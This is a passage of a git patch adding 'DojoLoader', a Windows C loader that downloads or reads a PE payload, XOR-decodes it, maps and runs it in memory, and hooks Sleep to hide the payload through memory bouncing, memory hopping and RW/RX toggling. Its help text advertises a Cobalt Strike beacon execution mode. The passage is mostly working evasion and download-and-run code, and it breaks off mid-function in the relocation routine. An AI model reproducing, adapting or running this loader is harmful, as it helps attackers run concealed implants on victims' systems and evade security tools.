From b0834ba05ec8a4f93a74946deeea501372e778f5 Mon Sep 17 00:00:00 2001 From: naksyn <59816245+naksyn@users.noreply.github.com> Date: Tue, 2 Jul 2024 10:54:07 +0200 Subject: [PATCH] Initial commit --- DojoLoader.sln | 31 ++ DojoLoader/DojoLoader.vcxproj | 159 +++++++ DojoLoader/DojoLoader.vcxproj.filters | 39 ++ DojoLoader/DojoLoader.vcxproj.user | 4 + DojoLoader/hooks.c | 186 +++++++++ DojoLoader/hooks.h | 9 + DojoLoader/main.c | 197 +++++++++ DojoLoader/memloader.c | 581 ++++++++++++++++++++++++++ DojoLoader/memloader.h | 67 +++ DojoLoader/structs.h | 162 +++++++ DojoLoader/utils.c | 112 +++++ DojoLoader/utils.h | 9 + LICENSE | 201 +++++++++ Utils/dummy_socket.c | 58 +++ Utils/noUDRL.cna | 20 + 15 files changed, 1835 insertions(+) create mode 100644 DojoLoader.sln create mode 100644 DojoLoader/DojoLoader.vcxproj create mode 100644 DojoLoader/DojoLoader.vcxproj.filters create mode 100644 DojoLoader/DojoLoader.vcxproj.user create mode 100644 DojoLoader/hooks.c create mode 100644 DojoLoader/hooks.h create mode 100644 DojoLoader/main.c create mode 100644 DojoLoader/memloader.c create mode 100644 DojoLoader/memloader.h create mode 100644 DojoLoader/structs.h create mode 100644 DojoLoader/utils.c create mode 100644 DojoLoader/utils.h create mode 100644 LICENSE create mode 100644 Utils/dummy_socket.c create mode 100644 Utils/noUDRL.cna diff --git a/DojoLoader.sln b/DojoLoader.sln new file mode 100644 index 0000000..bc19118 --- /dev/null +++ b/DojoLoader.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.10.34928.147 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DojoLoader", "DojoLoader\DojoLoader.vcxproj", "{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x64.ActiveCfg = Debug|x64 + {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x64.Build.0 = Debug|x64 + {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x86.ActiveCfg = Debug|Win32 + {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x86.Build.0 = Debug|Win32 + {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x64.ActiveCfg = Release|x64 + {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x64.Build.0 = Release|x64 + {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x86.ActiveCfg = Release|Win32 + {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {3BC7183A-7CA2-4158-AA41-E708A27396BC} + EndGlobalSection +EndGlobal diff --git a/DojoLoader/DojoLoader.vcxproj b/DojoLoader/DojoLoader.vcxproj new file mode 100644 index 0000000..2440e5c --- /dev/null +++ b/DojoLoader/DojoLoader.vcxproj @@ -0,0 +1,159 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {c996565d-a7e8-47e6-8ce5-c62ed8ff761b} + DllDynamicLoader + 10.0 + DojoLoader + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + /GUARD:CF %(AdditionalOptions) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + Guard + + + Console + true + true + true + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/DojoLoader/DojoLoader.vcxproj.filters b/DojoLoader/DojoLoader.vcxproj.filters new file mode 100644 index 0000000..ce687f8 --- /dev/null +++ b/DojoLoader/DojoLoader.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + {64bc18b4-236f-4ba7-95e8-9319bcce8914} + + + {1300fb45-352e-496e-b774-ee7a763f6918} + + + \ No newline at end of file diff --git a/DojoLoader/DojoLoader.vcxproj.user b/DojoLoader/DojoLoader.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/DojoLoader/DojoLoader.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/DojoLoader/hooks.c b/DojoLoader/hooks.c new file mode 100644 index 0000000..cb00d07 --- /dev/null +++ b/DojoLoader/hooks.c @@ -0,0 +1,186 @@ +#include +#include +#include "structs.h" +#include "utils.h" + +LPVOID oldbase; +void (*func_ptr)(void); +PMEM_MODULE GlobalpMemModule = NULL; + +// Function to check if a function should be hooked +BOOL check_hook(const char* functionName) { + const char* hookFunctions[] = { "Sleep" }; + for (int i = 0; i < sizeof(hookFunctions) / sizeof(hookFunctions[0]); i++) { + if (strcmp(functionName, hookFunctions[i]) == 0) { + return TRUE; + } + } + return FALSE; +} + + +BOOL SetRXonSection(LPVOID lpBase, DWORD size) { + DWORD dwOldProtect; + if (FALSE == VirtualProtect(lpBase, size, PAGE_EXECUTE_READ, &dwOldProtect)) { + return FALSE; + } + return TRUE; +} + +BOOL SetRWonSection(LPVOID lpBase, DWORD size) { + DWORD dwOldProtect; + if (FALSE == VirtualProtect(lpBase, size, PAGE_READWRITE, &dwOldProtect)) { + return FALSE; + } + return TRUE; +} + +//--------------------------------------------------------------------------------------------------------------// +// Hook function for Sleep +void WINAPI SleepHookMemoryBouncing(DWORD dwMilliseconds) { + printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds); + + printf("[+] copying %u (%#llx) bytes from address %p to buffer\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, DllPayload.startOfMappedPE); + memcpy(DllPayload.tempPEdatabuffer, DllPayload.startOfMappedPE, DllPayload.mappedimagesize); + + printf("[+] XORing buffer at address %#llx for size %#llx\n", (unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize); + XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey); + + // free the memory at address (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase) + printf("[+] Freeing memory at address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE); + if (FALSE == VirtualFree(DllPayload.startOfMappedPE, 0, MEM_RELEASE)) { + printf("[!] Error: Failed to free memory. Error code: %lu\n", GetLastError()); + return; + } + + SleepEx(dwMilliseconds, FALSE); + printf("[+] End Sleep\n"); + + printf("[+] Allocating memory again on address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE); + LPVOID lpBase = VirtualAlloc((LPVOID)DllPayload.startOfMappedPE, DllPayload.mappedimagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (lpBase == NULL) { + printf("[!] Error: Failed to allocate section on address: %#llx Error code: %lu\n", (unsigned long long)DllPayload.startOfMappedPE, GetLastError()); + return; + } + + if (DllPayload.tempPEdatabuffer == NULL) { + printf("[+] Error: Destination pointer is NULL\n"); + return; + } + + // xoring the temp pe buffer + + printf("[+] XORing buffer at address %#llx for size %#llx\n",(unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize); + XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey); + printf("[+] Copying buffer\n"); + memcpy(lpBase, DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize); + printf("[+] Copied %u (%#llx) bytes at address %p\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, lpBase); + printf("[+] XORing buffer at address %#llx for size %#llx\n", (unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize); + XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey); + + + printf("[+] Copied %u (%#llx) bytes at address %p\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, lpBase); + + +} + + + +void WINAPI SleepHookMemoryHopping(DWORD dwMilliseconds) { + printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds); + + void* returnAddress = _ReturnAddress(); + + printf("[+] Return Address: %p\n", returnAddress); + + + printf("[+] copying %u (%#llx) bytes from address %#llx to buffer for later use\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase); + + if (DllPayload.tempPEdatabuffer != NULL) { + free(DllPayload.tempPEdatabuffer); + DllPayload.tempPEdatabuffer = NULL; + } + + // Allocate new memory and copy data into it + DllPayload.tempPEdatabuffer = malloc(DllPayload.mappedimagesize); + if (DllPayload.tempPEdatabuffer == NULL) { + // Handle error + return; + } + + memcpy(DllPayload.tempPEdatabuffer, pMemModule->lpBase, DllPayload.mappedimagesize); + + // free the memory at address (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase) + printf("[+] Freeing memory at address: %#llx\n", (unsigned long long)pMemModule->lpBase); + if (FALSE == VirtualFree(pMemModule->lpBase, 0, MEM_RELEASE)) { + printf("[!] Error: Failed to free memory. Error code: %lu\n", GetLastError()); + return; + } + + SleepEx(dwMilliseconds, FALSE); + printf("[+] End Sleep\n"); + + + oldbase = pMemModule->lpBase; + LPVOID temp = (char*)pMemModule->lpBase + 0x100000; + printf("[+] Allocating memory again on address: %#llx\n", (unsigned long long)temp); + pMemModule->lpBase = VirtualAlloc(temp, DllPayload.mappedimagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (pMemModule->lpBase == NULL) { + printf("[!] Error: Failed to allocate section on address: %#llx Error code: %lu\n", (unsigned long long)DllPayload.startOfMappedPE, GetLastError()); + return; + } + + LONGLONG ldeltahop = (PBYTE)returnAddress - (PBYTE)oldbase; //this is the offset from the start of the PE to the return address we should jump to + void* NewReturnAddress = (PBYTE)pMemModule->lpBase + ldeltahop; + + + printf("[+] Copying %u (%#llx) bytes from buffer to address %#llx\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase); + + if (DllPayload.tempPEdatabuffer == NULL) { + printf("[+] Error: Destination pointer is NULL\n"); + return; + } + + + memcpy(pMemModule->lpBase, DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize); + printf("[+] Copied %u (%#llx) bytes at address %#llx\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase); + doRelocations(pMemModule); + func_ptr = (void (*)(void))NewReturnAddress; + printf("[+] Jump Address: %p\n", NewReturnAddress); + func_ptr(); + + +} + +void WINAPI SleepHookRWRX(DWORD dwMilliseconds) { + + printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds); + + printf("[+] Setting RW permissions on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr,(unsigned long long)DllPayload.execRegionSize); + if (FALSE == SetRWonSection(DllPayload.execRegionPtr,DllPayload.execRegionSize)) { + DWORD dwError = GetLastError(); + printf("[!] Error: Failed to set RW on section. Error code: %lu\n", dwError); + return; + } + + + printf("[+] XORing mapped PE memory on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize); + XORWithKey(DllPayload.execRegionPtr, DllPayload.execRegionSize, Configs.SleepXorKey); + + SleepEx(dwMilliseconds, FALSE); + printf("[+] End Sleep\n"); + + + printf("[+] XORing mapped PE memory on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize); + XORWithKey(DllPayload.execRegionPtr, DllPayload.execRegionSize, Configs.SleepXorKey); + + + printf("[+] Setting RX permissions on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize); + if (FALSE == SetRXonSection(DllPayload.execRegionPtr,DllPayload.execRegionSize)) { + DWORD dwError = GetLastError(); + printf("[!] Error: Failed to set RX on section. Error code: %lu\n", dwError); + return; + } + +} + diff --git a/DojoLoader/hooks.h b/DojoLoader/hooks.h new file mode 100644 index 0000000..841872d --- /dev/null +++ b/DojoLoader/hooks.h @@ -0,0 +1,9 @@ +#pragma once + +void WINAPI SleepHookMemoryBouncing(DWORD dwMilliseconds); +void WINAPI SleepHookMemoryHopping(DWORD dwMilliseconds); +void WINAPI SleepHookRWRX(DWORD dwMilliseconds); +BOOL SetRWonSection(LPVOID lpBase, DWORD size); +BOOL SetRXonSection(LPVOID lpBase, DWORD size); + +BOOL check_hook(const char* functionName); \ No newline at end of file diff --git a/DojoLoader/main.c b/DojoLoader/main.c new file mode 100644 index 0000000..e0a9e28 --- /dev/null +++ b/DojoLoader/main.c @@ -0,0 +1,197 @@ +#include +#include +#include "memloader.h" +#include "utils.h" +#include "structs.h" +#include "hooks.h" + + + +typedef void** HMEMMODULE; + +struct CONFIG Configs = { .SleepXorKey = "DefaultSleepXorKey_changeme"}; + +PVOID lpBaseArray[SIZE_ARRAY] = { 0 }; +SIZE_T TSizeArray[SIZE_ARRAY] = { 0 }; +int index = 0; + + +DWORD Run(PVOID pDllBytes) { + DWORD Error; + HMEMMODULE hMemModule = NULL; + hMemModule = LoadMod(pDllBytes, TRUE, &Error); + DllPayload.Module = hMemModule; + return Error; +} + +void FreeRawModule(PVOID pDllBytes) { + printf("\n"); + for (int i = 0; i < index ; i++){ + + if (!VirtualFree(lpBaseArray[i], TSizeArray[i], MEM_DECOMMIT)) { + printf("\t[i] VirtualFree error: %d at index : %d \n", GetLastError(), i); + } + } + if (DllPayload.BytesNumber){ + ZeroMemory(pDllBytes, DllPayload.BytesNumber); + } +} + +void printHelp(wchar_t* programNameW) { + char programNameA[260]; + WideCharToMultiByte(CP_UTF8, 0, programNameW, -1, programNameA, sizeof(programNameA), NULL, NULL); + + wprintf(L"Usage: %ls -d | -f [-k ] [-s ] [-beacon]\n", programNameW); + printf("Options:\n"); + printf(" -d -download \t Load PE from the specified URL\n"); + printf(" -f -file \t\t Load PE from the specified file\n"); + printf(" -k -key \t\t XOR the payload with the specified key\n"); + printf(" -s -sleep <1 (membounce),2 (memhop),3 (RWRX)> \t Sleep Obfuscation techniques:\n\t\t 1 or membounce for MemoryBouncing\n\t\t 2 or memhop for Memory Hopping (choose a compatible payload)\n\t\t 3 or RWRX for classic RW->RX \n"); + printf(" -beacon \t\t use Cobalt Strike UDRL-les Beacon payload execution method\n"); + printf(" -h \t\t\t print this help\n"); +} + +int wmain(int argc, wchar_t* argv[]) { + BOOL Succ; + PVOID pDllBytes; + HMEMMODULE hMemModule = NULL; + DWORD Error; + char* url = NULL; + char* filePath = NULL; + char* key = NULL; + + LPWSTR* szArglist; + int nArgs; + + szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs); + if (NULL == szArglist) { + wprintf(L"CommandLineToArgvW fail\n"); + return 0; + } + else { + for (int i = 0; i < nArgs; i++) { + printf("%d: %ws\n", i, szArglist[i]); + } + } + + printf( + "______ _ _ _ \n" + "| _ \\ (_) | | | | \n" + "| | | |___ _ ___ | | ___ __ _ __| | ___ _ __ \n" + "| | | / _ \\| |/ _ \\| | / _ \\ / _` |/ _` |/ _ \\ '__|\n" + "| |/ / (_) | | (_) | |___| (_) | (_| | (_| | __/ | \n" + "|___/ \\___/| |\\___/\\_____ \\___/ \\__,_|\\__,_|\\___|_| \n" + " _/ | \n" + " |__/ \n" + "\nAuthor: @naksyn\n\n" + ); + + + if (argc == 1) { + printHelp(argv[0]); + return -1; + } + + for (int i = 0; i < nArgs; i++) { + if (wcscmp(szArglist[i], L"-h") == 0) { + printHelp(argv[0]); + return 0; + } + } + + for (int i = 1; i < nArgs; i++) { + if (wcscmp(szArglist[i], L"-download") == 0 || wcscmp(szArglist[i], L"-d") == 0 && i + 1 < nArgs) { + int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL); + url = (char*)malloc(bufferSize); + WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, url, bufferSize, NULL, NULL); + } + else if (wcscmp(szArglist[i], L"-file") == 0 || wcscmp(szArglist[i], L"-f") == 0 && i + 1 < nArgs) { + int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL); + filePath = (char*)malloc(bufferSize); + WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, filePath, bufferSize, NULL, NULL); + } + else if (wcscmp(szArglist[i], L"-key") == 0 || wcscmp(szArglist[i], L"-k") == 0 && i + 1 < nArgs) { + int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL); + key = (char*)malloc(bufferSize); + WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, key, bufferSize, NULL, NULL); + Configs.XorKey = key; + } + else if (wcscmp(szArglist[i], L"-beacon") == 0) { + Configs.Beacon = TRUE; + } + else if (wcscmp(szArglist[i], L"-sleep") == 0 || wcscmp(szArglist[i], L"-s") == 0 && i + 1 < nArgs) { + if (wcscmp(szArglist[++i], L"1") == 0 || wcscmp(szArglist[i], L"membounce") == 0) { + Configs.SleepHookFunc = SleepHookMemoryBouncing; + } + else if (wcscmp(szArglist[i], L"2") == 0 || wcscmp(szArglist[i], L"memhop") == 0) { + Configs.SleepHookFunc = SleepHookMemoryHopping; + } + else if (wcscmp(szArglist[i], L"3") == 0 || wcscmp(szArglist[i], L"RWRX") == 0) { + Configs.SleepHookFunc = SleepHookRWRX; + } + else { + wprintf(L"Unknown function: %ws\n", szArglist[i]); + return -1; + } + } + + else { + wprintf(L"[!] Unknown option: %ws\n", szArglist[i]); + return -1; + } + } + + printf("URL: %s\n", url); + if (url != NULL) { + DWORD size; + char* data = DownloadFile(url, &size); + if (data != NULL) + { + if (Configs.XorKey != NULL) { + printf("[!] Xoring payload with key: %s\n", Configs.XorKey); + XORWithKey(data, size, Configs.XorKey); + } + DllPayload.BytesNumber = size; + DllPayload.pDllBytes = data; + } + else { + printf("[!] DownloadFile Failed With Error: %d \n", GetLastError()); + return -1; + } + } + else if (filePath != NULL) { + Succ = ReadDllFile(filePath); + if (!Succ) { + printf("[!] ReadDllFile Failed With Error: %d \n", GetLastError()); + return -1; + } + if (Configs.XorKey != NULL) { + printf("[!] Xoring payload with key: %s\n", Configs.XorKey); + XORWithKey(DllPayload.pDllBytes, DllPayload.BytesNumber, Configs.XorKey); + } + } + else { + printf("[!] Either -d (load PE from from URL) or -f (load PE from file) option must be specified\n"); + return -1; + } + + pDllBytes = DllPayload.pDllBytes; + if (pDllBytes == NULL) { + printf("[!] pDllBytes is Null : %d \n", GetLastError()); + return -1; + } + + + printf("[+] Running\n"); + + Error = Run(pDllBytes); + if (Error != MMEC_OK) { + printf("[!] Coudn't Run The Dll ... \n"); + FreeRawModule(pDllBytes); + return -1; + } + printf("[+] DONE \n"); + FreeRawModule(pDllBytes); + + return 0; +} \ No newline at end of file diff --git a/DojoLoader/memloader.c b/DojoLoader/memloader.c new file mode 100644 index 0000000..3b689eb --- /dev/null +++ b/DojoLoader/memloader.c @@ -0,0 +1,581 @@ +#include +#include "memloader.h" +#include "hooks.h" +#include "utils.h" + +PMEM_MODULE pMemModule = NULL; +LPVOID oldbase = NULL; + + +//--------------------------------------------------------------------------------------------------------------// +// the following 2 functions, are made to add elements in the arrays we have +void AppendTSizeArray(SIZE_T Value) { + for (int i = 0; i < SIZE_ARRAY + 1; i++){ + if (TSizeArray[i] == 0){ + TSizeArray[i] = Value; + index++; + break; + } + } +} + +void AppendlpBaseArray(PVOID Value) { + for (int i = 0; i < SIZE_ARRAY + 1; i++) { + if (lpBaseArray[i] == NULL) { + lpBaseArray[i] = Value; + break; + } + } +} + +//--------------------------------------------------------------------------------------------------------------// +BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID PEdata, BOOL CallEntryPoint) { + if ( pMemModule == NULL || PEdata == NULL) + return FALSE; + pMemModule->dwErrorCode = ERROR_SUCCESS; + // Verify file format + if (IsPEValid(pMemModule, PEdata) == FALSE) { + return FALSE; + } + // Map PE header and section table into memory + if (MapModule(pMemModule, PEdata) == FALSE) + return FALSE; + // Relocate the module base + if (doRelocations(pMemModule) == FALSE) { + UnmapModule(pMemModule); + return FALSE; + } + // Resolve the import table + if (ResolveImports(pMemModule) == FALSE) { + UnmapModule(pMemModule); + return FALSE; + } + pMemModule->dwCrc = GetCRC32(0, pMemModule->lpBase, pMemModule->dwSizeOfImage); + + // Correct the protect flag for all section pages --- DO THIS IF YOU WANT 2 ALLOCATIONS + //if (FALSE == SetRXonSection(DllPayload.startOfMappedPE)) { + //UnmapModule(pMemModule); + //return FALSE; + //} + // don't do this if you want 2 allocations or RWX + if (Configs.SleepHookFunc == SleepHookRWRX) { + if (SetPermissions(pMemModule) == FALSE) { + UnmapModule(pMemModule); + return FALSE; + } + } + + // process tls data + if (HandleTLS(pMemModule) == FALSE) + return FALSE; + if (CallEntryPoint) { + if (CallModuleEntry(pMemModule, DLL_PROCESS_ATTACH) == FALSE) { + // failed to call entry point, + // clean resource, return false + UnmapModule(pMemModule); + return FALSE; + } + } + + return TRUE; +} + +HMEMMODULE LoadMod(LPVOID PEdata, BOOL CallEntryPoint, DWORD* pdwError) { + pMemModule = GlobalAlloc(GPTR, sizeof(MEM_MODULE)); + if (pMemModule == NULL) { + if (pdwError != NULL) { + *pdwError = MMEC_INVALID_WIN32_ENV; + } + return NULL; + } + + pMemModule->CallEntryPoint = CallEntryPoint; + pMemModule->isLoaded = FALSE; + pMemModule->dwErrorCode = MMEC_OK; + + if (!LoadModuleInt(pMemModule, PEdata, CallEntryPoint)) { + if (pdwError != NULL) { + *pdwError = pMemModule->dwErrorCode; + } + GlobalFree(pMemModule); + return NULL; + } + + if (pdwError != NULL) { + *pdwError = 0; + } + return (HMEMMODULE)pMemModule; +} + + +//--------------------------------------------------------------------------------------------------------------// +// Tests the return value and jump to exit label if false. +#define IfFalseGoExitWithError(x, exp) \ + do { \ + if (!(br = (x)) && (exp)) \ + goto _Exit; \ + } while (0) + + +//--------------------------------------------------------------------------------------------------------------// +// Create a pointer value. +#define MakePointer(t, p, offset) ((t)((PBYTE)(p) + offset)) + +//--------------------------------------------------------------------------------------------------------------// +/// True if the data is valid PE format. +BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID PEdata) { + if (pMemModule == NULL) { + return FALSE; + } + + BOOL isValid = FALSE; + PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)PEdata; + + if (IMAGE_DOS_SIGNATURE != pImageDosHeader->e_magic) { + goto Exit; + } + + PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, PEdata, pImageDosHeader->e_lfanew); + if (IMAGE_NT_SIGNATURE != pImageNtHeader->Signature) { + goto Exit; + } + +#ifdef _WIN64 + if (IMAGE_FILE_MACHINE_AMD64 == pImageNtHeader->FileHeader.Machine) { + if (IMAGE_NT_OPTIONAL_HDR64_MAGIC != pImageNtHeader->OptionalHeader.Magic) { + goto Exit; + } + } +#else + if (IMAGE_FILE_MACHINE_I386 == pImageNtHeader->FileHeader.Machine) { + if (IMAGE_NT_OPTIONAL_HDR32_MAGIC != pImageNtHeader->OptionalHeader.Magic) { + goto Exit; + } + } +#endif + else { + goto Exit; + } + + isValid = TRUE; + +Exit: + if (!isValid) { + pMemModule->dwErrorCode = MMEC_BAD_PE_FORMAT; + } + return isValid; +} + + +//--------------------------------------------------------------------------------------------------------------// +// this function here is used to map all the sections +BOOL MapModule(PMEM_MODULE pMemModule, LPVOID PEdata) { + if (pMemModule == NULL || PEdata == NULL) + return FALSE; + + PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)(PEdata); + PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew); + int nNumberOfSections = pImageNtHeader->FileHeader.NumberOfSections; + PIMAGE_SECTION_HEADER pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS)); + + DWORD dwImageSizeLimit = 0; + for (int i = 0; i < nNumberOfSections; ++i) { + if (pImageSectionHeader[i].VirtualAddress != 0) { + DWORD sectionLimit = pImageSectionHeader[i].VirtualAddress + pImageSectionHeader[i].SizeOfRawData; + if (dwImageSizeLimit < sectionLimit) + dwImageSizeLimit = sectionLimit; + } + } + DllPayload.mappedimagesize = dwImageSizeLimit; + + // Reserve virtual memory + + DWORD protection = (Configs.SleepHookFunc == SleepHookMemoryBouncing || Configs.SleepHookFunc == SleepHookMemoryHopping) ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE; + LPVOID lpBase = VirtualAlloc((LPVOID)(pImageNtHeader->OptionalHeader.ImageBase), pImageNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, protection); + if (NULL == lpBase) { + lpBase = VirtualAlloc(NULL, pImageNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, protection); + if (NULL == lpBase) { + pMemModule->dwErrorCode = MMEC_ALLOCATED_MEMORY_FAILED; + return FALSE; + } + } + + DllPayload.startOfMappedPE = lpBase; + oldbase = DllPayload.startOfMappedPE; + AppendlpBaseArray(lpBase); + AppendTSizeArray(dwImageSizeLimit); + // Commit memory for PE header + LPVOID pDest = lpBase;//VirtualAlloc(lpBase, pImageNtHeader->OptionalHeader.SizeOfHeaders, MEM_COMMIT, PAGE_READWRITE); + if (!pDest) { + pMemModule->dwErrorCode = MMEC_ALLOCATED_MEMORY_FAILED; + return FALSE; + } + + + AppendlpBaseArray(pDest); + AppendTSizeArray(pImageNtHeader->OptionalHeader.SizeOfHeaders); + RtlMoveMemory(pDest, PEdata, pImageNtHeader->OptionalHeader.SizeOfHeaders); + + pMemModule->lpBase = pDest; + pMemModule->iBase = (ULONGLONG)pDest; + pMemModule->dwSizeOfImage = pImageNtHeader->OptionalHeader.SizeOfImage; + pMemModule->isLoaded = TRUE; + + pImageDosHeader = (PIMAGE_DOS_HEADER)pDest; + pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew); + pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS)); + + LPVOID pSectionBase = NULL; + LPVOID pSectionDataSource = NULL; + for (int i = 0; i < nNumberOfSections; ++i) { + if (pImageSectionHeader[i].VirtualAddress != 0) { + pSectionBase = MakePointer(LPVOID, lpBase, pImageSectionHeader[i].VirtualAddress); + if (pImageSectionHeader[i].SizeOfRawData == 0) { + DWORD size = pImageSectionHeader[i].Misc.VirtualSize > 0 ? pImageSectionHeader[i].Misc.VirtualSize : pImageNtHeader->OptionalHeader.SectionAlignment; + if (size > 0) { + ZeroMemory(pSectionBase, size); + } + } + else { + // Checking if section has executable flag + if (pImageSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) { + DllPayload.execRegionPtr = pSectionBase; + DllPayload.execRegionSize = pImageSectionHeader[i].SizeOfRawData; + printf("[+] Saved RX memory pointer address: %#llx and size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize); + } + pSectionDataSource = MakePointer(LPVOID, PEdata, pImageSectionHeader[i].PointerToRawData); + RtlMoveMemory(pSectionBase, pSectionDataSource, pImageSectionHeader[i].SizeOfRawData); + } + } + } + + + + if (Configs.SleepHookFunc == SleepHookMemoryHopping || Configs.SleepHookFunc == SleepHookMemoryBouncing) { + printf("[+] copying %u (%#llx) bytes from address %p to buffer\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, DllPayload.startOfMappedPE); + DllPayload.tempPEdatabuffer = (BYTE*)malloc(DllPayload.mappedimagesize); + if (DllPayload.tempPEdatabuffer == NULL) { + printf("[+] Error: Failed to allocate dataBuffer\n"); + return FALSE; + } + memcpy(DllPayload.tempPEdatabuffer, (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase), DllPayload.mappedimagesize); + printf("[+] XORing buffer\n"); + XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey); + } + + + return TRUE; +} + + +//--------------------------------------------------------------------------------------------------------------// +// Relocates the module. +doRelocations(PMEM_MODULE pMemModule) { + if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL) + return FALSE; + + PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew); + LONGLONG lBaseDelta = (PBYTE)pMemModule->lpBase - (PBYTE)oldbase; + + if 